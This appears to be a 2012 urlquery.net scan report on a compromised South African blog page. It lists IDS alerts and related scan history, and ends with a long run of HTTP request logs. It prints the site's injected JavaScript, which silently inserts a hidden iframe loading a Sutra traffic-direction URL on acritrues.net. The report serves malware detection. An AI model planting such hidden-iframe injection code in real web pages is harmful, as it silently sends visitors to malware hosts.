urlquery.net - Free url scanner

Overview

URL	http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html
IP	41.86.104.163
ASN	AS10474 MWEB-10474
Location	South Africa
Report completed	2012-11-06 23:38:24 CET
Status	Loading report..
urlQuery Alerts	Detected malicious iframe injection Detected SutraTDS URL pattern

Settings

UserAgent	Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader	8.0
Java	1.6.0_26

Intrusion Detection Systems

Suricata /w Emerging Threats Pro

Timestamp	Source IP	Destination IP	Severity	Alert
2012-11-06 23:37:52	urlQuery Client	72.172.91.230	2	ET CURRENT_EVENTS TDS Sutra - request in.cgi
2012-11-06 23:37:53	174.137.132.45	urlQuery Client	3	ET RBN Known Russian Business Network IP (42)

Snort /w Sourcefire VRT

Timestamp	Source IP	Destination IP	Severity	Alert
2012-11-06 23:37:51	urlQuery Client	72.172.91.230	1	MALWARE-CNC TDS Sutra - request in.cgi

Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 41.86.104.163

Date	Alerts / IDS	URL	IP
2012-11-09 16:39:57	2 / 2	http://bethebest.co.za/pblog/chapter/fun-adult-love-quizzes.html	41.86.104.163
2012-11-06 07:02:56	2 / 3	http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	41.86.104.163
2012-11-06 00:44:43	2 / 3	http://bethebest.co.za/pblog/2010/essential-oil-of-sassafras.html	41.86.104.163
2012-10-29 14:46:30	2 / 2	http://bethebest.co.za/pblog/archives/how-to-play-volleyball.html	41.86.104.163
2012-10-27 08:50:44	0 / 2	http://bethebest.co.za/pblog/archives/madison-square-garden.html	41.86.104.163
2012-10-27 05:08:26	2 / 2	http://bethebest.co.za/pblog/archives/ngk-spark-plug.html	41.86.104.163

Last 6 reports on ASN: AS10474 MWEB-10474

Date	Alerts / IDS	URL	IP
2013-02-14 16:42:23	0 / 3	http://www.news24.com/Africa/News/Al-Qaeda-plan-for-northern-Mali-revealed-20130214	41.86.110.200
2013-02-14 15:10:03	0 / 0	http://www.ges-sa.co.za/images/background/rotate.php	196.22.172.216
2013-02-12 18:33:23	1 / 0	http://www.connectingchurches.co.za/	196.22.172.55
2013-02-08 20:21:52	0 / 0	http://www.hitechlab.net	196.22.172.54
2013-02-08 18:51:04	0 / 0	http://www.hitechlab.net/Tonz1m.exe	196.22.172.54
2013-02-07 18:46:32	0 / 0	http://k3security.co.za	196.22.172.216

Last 6 reports on domain: bethebest.co.za

Date	Alerts / IDS	URL	IP
2012-11-09 16:39:57	2 / 2	http://bethebest.co.za/pblog/chapter/fun-adult-love-quizzes.html	41.86.104.163
2012-11-06 07:02:56	2 / 3	http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	41.86.104.163
2012-11-06 00:44:43	2 / 3	http://bethebest.co.za/pblog/2010/essential-oil-of-sassafras.html	41.86.104.163
2012-10-29 14:46:30	2 / 2	http://bethebest.co.za/pblog/archives/how-to-play-volleyball.html	41.86.104.163
2012-10-27 08:50:44	0 / 2	http://bethebest.co.za/pblog/archives/madison-square-garden.html	41.86.104.163
2012-10-27 05:08:26	2 / 2	http://bethebest.co.za/pblog/archives/ngk-spark-plug.html	41.86.104.163

JavaScript

Executed Scripts (2)

Executed Evals (3)

#1 JavaScript::Eval (size: 559, repeated: 1) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://acritrues.net/in.cgi?2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://acritrues.net/in.cgi?2');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#2 JavaScript::Eval (size: 5, repeated: 1)

asdas

#3 JavaScript::Eval (size: 4, repeated: 559)

n[i]

Executed Writes (0)

HTTP Transactions (59)

Request	Response
GET /css/0.1/screen/build/article/2.0/styles.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 495 Cneonction: close Cache-Control: private, max-age=26664 Expires: Wed, 07 Nov 2012 06:02:15 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/global.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 15 Oct 2012 20:38:16 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2481 Cache-Control: private, max-age=12877 Expires: Wed, 07 Nov 2012 02:12:28 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/masthead.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 568 Cneonction: close Cache-Control: private, max-age=13915 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/shell.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 15 Oct 2012 20:38:16 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1241 Cache-Control: private, max-age=25692 Expires: Wed, 07 Nov 2012 05:46:03 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/navigation.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1307 Cache-Control: private, max-age=13915 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/insideNYTimes.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1052 Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/ads.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2466 Cache-Control: private, max-age=13915 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/macros.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 885 Cneonction: close Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 17 Sep 2012 20:24:59 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2093 Cache-Control: private, max-age=13915 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/mostpopular.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 693 Cneonction: close Cache-Control: private, max-age=61714 Expires: Wed, 07 Nov 2012 15:46:25 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/layout.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 2045 Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/article.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Mon, 10 Sep 2012 21:02:50 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 3686 Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/articletools.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 850 Cneonction: close Cache-Control: private, max-age=28288 Expires: Wed, 07 Nov 2012 06:29:19 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/sharetools.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1057 Cache-Control: private, max-age=61714 Expires: Wed, 07 Nov 2012 15:46:25 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/sharetools/common.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Thu, 01 Nov 2012 20:47:43 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1577 Cache-Control: private, max-age=13915 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/article/upnext.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:12 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 648 Cneonction: close Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/readercomments.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 546 Cneonction: close Cache-Control: private, max-age=13915 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/section/travel/modules/expedia.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:15 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1911 Cache-Control: private, max-age=13915 Expires: Wed, 07 Nov 2012 02:29:46 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/article/abstract.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:12 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 956 Cneonction: close Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/googleads.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/build/article/2.0/styles.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 636 Cneonction: close Cache-Control: private, max-age=25692 Expires: Wed, 07 Nov 2012 05:46:03 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/globalEdition/common.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:16 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 525 Cneonction: close Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/thirdparty/logos/bylinelogos.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 522 Cneonction: close Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/modules/dialogbox.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 864 Cneonction: close Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/community/comments/2.0/commentsModule.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:12 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 5039 Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/forms.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/article.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Sat, 04 Aug 2012 21:18:13 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 1766 Cache-Control: private, max-age=59302 Expires: Wed, 07 Nov 2012 15:06:13 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /css/0.1/screen/common/modal/saveModal.css HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/css,/;q=0.1 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/modules/sharetools/common.css	HTTP/1.1 200 OK Content-Type: text/css Server: Apache nnCoection: close Vary: Accept-Encoding Last-Modified: Thu, 11 Oct 2012 22:21:50 GMT Accept-Ranges: bytes Content-Encoding: gzip Content-Length: 561 Cneonction: close Cache-Control: private, max-age=13916 Expires: Wed, 07 Nov 2012 02:29:47 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /images/global/buttons/go.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://bethebest.co.za/pblog/2009/stone-fireplace-designs.html	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Sat, 04 Aug 2012 21:19:52 GMT Accept-Ranges: bytes Content-Length: 186 Cache-Control: private, max-age=69825 Expires: Wed, 07 Nov 2012 18:01:36 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
GET /images/layout/vertical_rule.gif HTTP/1.1 Host: graphics8.nytimes.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://graphics8.nytimes.com/css/0.1/screen/common/layout.css	HTTP/1.1 200 OK Content-Type: image/gif Server: Apache nnCoection: close Last-Modified: Mon, 22 Oct 2012 21:27:49 GMT Accept-Ranges: bytes Content-Length: 35 Cneonction: close Cache-Control: private, max-age=30873 Expires: Wed, 07 Nov 2012 07:12:24 GMT Date: Tue, 06 Nov 2012 22:37:51 GMT Connection: keep-alive
